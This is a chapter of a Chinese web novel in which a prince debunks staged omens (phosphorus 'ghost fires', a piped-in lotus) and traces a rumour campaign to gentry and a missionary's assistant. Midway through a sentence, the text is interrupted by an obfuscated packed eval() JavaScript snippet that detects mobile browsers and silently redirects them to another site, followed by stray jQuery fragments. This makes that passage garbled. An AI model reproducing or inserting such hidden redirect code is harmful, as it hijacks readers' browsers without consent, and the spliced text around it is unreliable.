第493章 祥瑞现“异象”,瑾破谣言网
作品:《寒门状元:我的大脑通古今》 道历八年十月,霜降。
北京城的茶馆酒肆里,忽然添了桩新鲜谈资——不是秋闱放榜,也不是边关战事,而是西山皇陵闹鬼。
“听说了吗?先帝爷显灵了!”
茶馆角落,一个卖柿子的老汉神神秘秘地说。
“前儿夜里,守陵的军士亲眼瞧见,陵寝上头飘着好几团绿幽幽的火,还会哭!”
“那哭声,啧啧,跟先帝爷在世时咳嗽一模一样……”
旁边几个茶客凑过来。
“真的假的?”
“千真万确!”
老汉拍着胸脯。
“我表侄就在西山卫所当差,他们全队都看见了!”
“说是先帝爷魂灵不安,在给咱们示警呢!”
“示什么警?”
“这不明摆着吗?”
老汉压低声音。
“那位靖海王,权柄太重了……听说连万岁爷都得听他的。”
“先帝爷这是心疼孙子,提醒咱们呢!”
这话像滴进油锅的水,滋啦一声炸开了。
同一时间,河北真定府。
府衙前头围得里三层外三层,老百姓伸长了脖子看热闹——衙门口的空地上,居然长出了一株莲花!
青石板缝里钻出来,亭亭玉立,还开着朵粉嫩嫩的花。
“神迹!这是神迹啊!”
一个穿着道袍的瘦高个在人群前头手舞足蹈。
“《太平经》有云:‘旱地生莲,阴盛阳衰’!”
“这是老天爷在警示,阴气太盛,阳气不振,要出大事啊!”
旁边有人问。
“道长,啥叫阴盛阳衰?”
“就是女人干政!不对……是阴人干政!”
道士说得唾沫横飞。
“你们想啊,莲花属阴,本该长在水里,如今却生在旱地——这不明摆着吗?”
“不该掌权的人掌了权,乱了阴阳乾坤!”
人群嗡嗡议论起来。
虽然不敢明说,但谁都知道“不该掌权的人”指的是谁。
最要命的是童谣。
不知从哪儿传出来的,几天工夫就唱遍了京城大街小巷:
“靖海王,海龙王,上了岸,要做皇。小皇帝,**,摇摇晃晃像傀儡……”
顺天府衙门的差役想抓人,可满街的孩子都在唱,抓谁去?
这童谣像长了腿,今天东城唱,明天西城传,越禁传得越凶。
十月廿八,大朝会。
气氛诡异得很。
文武百官列队时,眼神都在偷瞟站在御座左下首的苏惟瑾。
这位靖海王今天穿了身绯色**袍,腰佩玉带,面色平静得像潭深水。
奏事环节,果然有人跳出来了。
都察院一个叫刘台的御史出列,捧着笏板,声音悲切。
“陛下!臣近日听闻京城谣言四起,有损圣德。”
“尤其那童谣……靖海王忠心为国,竟遭此诽谤,臣请陛下下旨,严查造谣之人!”
这话说得漂亮,可谁都听得出来是在递刀子——先把谣言摊到明面上,让皇帝难堪。
小皇帝朱载重坐在龙椅上,小手抓着扶手,脸绷得紧紧的。
他今年十一了,不是什么都不懂的孩子。
这些天那些谣言,早有人学给他听了。
“刘御史,”
苏惟瑾忽然开口,声音不大,却让满殿一静。
“你既然听到童谣了,可记得完整词句?”
刘台一愣。
“这……臣只听到片段……”
“那本宫背给你听。”
苏惟瑾微微一笑,朗声念道。
“靖海王,海龙王,上了岸,要做皇。小皇帝,**,摇摇晃晃像傀儡——是不是这几句?”
满殿死寂。
谁也没想到,靖海王自己把这话挑明了!
刘台额头冒汗。
“王、王爷……臣不是这个意思……”
“本宫知道你不是这个意思。”
苏惟瑾摆摆手,转身面向御座。
“陛下,臣昨夜做了个梦,倒是很有趣。”
朱载重眨了眨眼。
“王先生梦到什么?”
“臣梦见东海龙王来朝,对臣说:‘大明有靖海王镇守海疆,风平浪静,虾兵蟹将不敢作乱,此乃天赐吉兆。’”
苏惟瑾说着,自己都笑了。
“醒来一想,这童谣倒是应了龙王的梦——靖海王,海龙王,原是夸臣像龙王一样镇得住海呢!”
这话说得妙。
殿上顿时响起一片附和的笑声。
几个机灵的官员连忙道。
“原来如此!是吉兆!吉兆啊!”
刘台脸都绿了。
下朝后,苏惟瑾没回王府,直接去了钦天监。
监正徐光启早候着了,见了他苦笑道。
“王爷,那‘鬼火’之事,下官派人去查了。”
“确实是磷火,可百姓不信啊……”
“那就让他们信。”
苏惟瑾从袖中掏出个小布包,打开,里头是几块灰白色的石头。
“这是格物大学从西山采来的磷矿石。”
“今夜,咱们就在皇陵前,当众演示。”
当晚戌时,西山皇陵。
成百上千的老百姓被官兵“请”来观礼——说是请,实则是半强迫。
谁不想看钦天监的大官捉鬼?
陵前空地上架起了几个火盆,照得四周亮如白昼。
徐光启站在临时搭的木台上,手里拿着块磷矿石。
“诸位父老请看,”
他举起矿石。
“此物名叫磷石,产于西山深处。”
“遇热,或潮湿腐烂,便会生出绿火。”
他让助手把矿石碾碎,撒进一个铜盆,又浇了些水。
片刻之后,盆里果然飘起几团幽幽绿火,在空中晃晃悠悠,还发出轻微的“噼啪”声。
“这就是‘鬼火’!”
徐光启高声道。
“先帝陵寝用的石材中,含有少量磷石。”
“近日秋雨潮湿,故而生出此火。”
“与先帝英灵无关,更非什么示警!”
他又让助手点燃一种特制的香,那烟雾在火光映照下,竟隐约发出类似呜咽的声音。
“此乃松脂混合硫磺所制,燃烧时有此异响。”
徐光启环视众人。
“所谓‘哭声’,不过如此。”
老百姓看得目瞪口呆。
有几个胆大的凑近看了又看,啧啧称奇。
“原来是这样!”
“吓死个人,还以为真闹鬼呢!”
消息第二天就传遍京城。
《大明闻风报》用了整整一版,详细讲解磷火原理,还配了徐光启演示的图画。
西山闹鬼的谣言,不攻自破。
真定府那边更简单。
苏惟瑾派了个叫赵铁柱的年轻官员去——就是当初在南苑演武时指挥线列步兵的那个千总,如今在都察院挂职。
赵铁柱带着二十个兵,到了真定府衙前,二话不说,让人把那株“旱莲”连根挖起。
围观的百姓伸长脖子看。
这一挖,全乐了——莲花根部,竟然连着一根细竹管,竹管另一头埋在地下,显然通着水源。
“就这?”
赵铁柱拎着那竹管,对人群喊道。
“哪个缺德玩意儿,挖坑埋管,灌水种莲,然后说是祥瑞?”
“知府大人——”
他转身看向一旁冷汗直冒的真定知府。
“这地界归您管,您说怎么办?”
知府哪敢怠慢,当场下令全城搜捕。
不到半天,就把那个宣扬“阴盛阳衰”的道士抓住了,连带着揪出三个帮闲。
公审那天,赵铁柱让道士当众演示怎么**。
那道士哭丧着脸,在衙门口又“种”了一株莲花——挖坑、埋管、插上事先培育的莲花,再撒层薄土。
不到一个时辰,莲花就“长”出来了。
百姓哄堂大笑。
道士和帮闲被枷号游街,胸前挂着牌子:“造谣欺世,罪有应得”。
游到第三日,终于有人撑不住,招了——是收了江南一个姓钱的豪绅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175514|186215||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
五十两银子,专门来真定搞这出戏的。
十一月初,谣言基本平息。
苏惟瑾在文渊阁召见陆松,听完汇报,淡淡道。
“揪出来的那个造谣团伙,都什么来路?”
“回王爷,”
陆松呈上名册。
“核心七人:三个落魄文人,屡试不第,心怀怨望;两个不得志的道士,原是京师小庙的,因行为不端被逐出;还有一个说书先生,一个戏班班主。”
“他们分工明确,文人编词,道士装神弄鬼,说书唱戏的负责传播。”
“资金呢?”
“查到的银钱往来,最终指向江南苏州一个叫钱谦益的乡绅。”
陆松顿了顿。
“就是那个致仕的钱侍郎的侄子,在清丈中被罚了八千两税银的那个。”
苏惟瑾点点头,并不意外。
清丈、税改、教育改革——这一套组合拳打下来,触动的是整个士绅豪强的利益。
明的斗不过,就来暗的;暗的也斗不过,就造谣生事。
老套路了。
“那个钱谦益,抓了吗?”
“苏州知府已经控制起来了。”
陆松道。
“不过……审讯时,他供出一件事。”
“说。”
“他说,最初找他联络的,不是那些文人道士,而是一个……洋和尚。”
苏惟瑾眼神一凝。
“洋和尚?利玛窦?”
“不是利玛窦本人,是利玛窦的一个助手,叫庞迪我。”
陆松低声道。
“据钱谦益说,庞迪我找上他,说可以帮他‘制造**’,还给了二百两银子做启动资金。”
“那些谣言的具体说法,也是庞迪我暗示的。”
苏惟瑾沉默了。
他走到窗前,望着外面飘落的初雪。
金雀花……利玛窦……庞迪我……江南士绅……造谣团伙……
这条线,终于连上了。
“那个庞迪我,现在在哪?”
“还在利玛窦身边,协助传教。”
陆松道。
“要抓吗?”
“不,”
苏惟瑾摇头。
“盯着。利玛窦现在动不得——他是传教士,动了会惹来外交麻烦。”
“但要盯死,他接触过谁,说过什么,全部记下来。”
“是。”
陆松退下后,苏惟瑾独自站在窗前良久。
雪越下越大,很快覆盖了庭院的青砖。
他想起前世看过的一句话:**的高地,你不占领,敌人就会占领。
在这个时代,所谓“天人感应”,所谓“祥瑞异象”,就是最重要的**高地。
幸好,他有科学,有事实,还有……小皇帝的绝对信任。
“这才哪到哪……”
他轻声自语。
真正的暴风雨,恐怕还在后头。
谣言风波被迅速扑灭,幕后黑手钱谦益落网,竟牵连出利玛窦的助手庞迪我!
然而就在钱谦益押解进京途中,于山东境内突遭“山贼”劫囚,钱谦益与五名押解官兵全部**,现场留下一个诡异的记号:用血画成的、含苞待放的金雀花!
几乎同时,利玛窦在京城的住所深夜失火,庞迪我“葬身火海”,但锦衣卫查验尸体时发现,那具焦尸的牙齿磨损程度与年龄,与庞迪我登记的资料严重不符——死的可能是个替身!
真庞迪我去了哪里?
金雀花组织为何要灭口钱谦益?
更蹊跷的是,三日后,苏州钱家老宅被查抄时,在密室中发现半张残缺的羊皮地图,图上用拉丁文标注着七个地点:北京、南京、西安、开封、洛阳、大同、沈阳——恰好是大明七座古都!
而每个地点旁,都画着一个小小的、盛开的金雀花徽记!
这张图意味着什么?
金雀花组织在大明七大古都,究竟布下了怎样的网络?
苏惟瑾的超频大脑疯狂运转——这场**战背后,恐怕藏着一个涉及大明龙脉气运的、更加恐怖的阴谋!

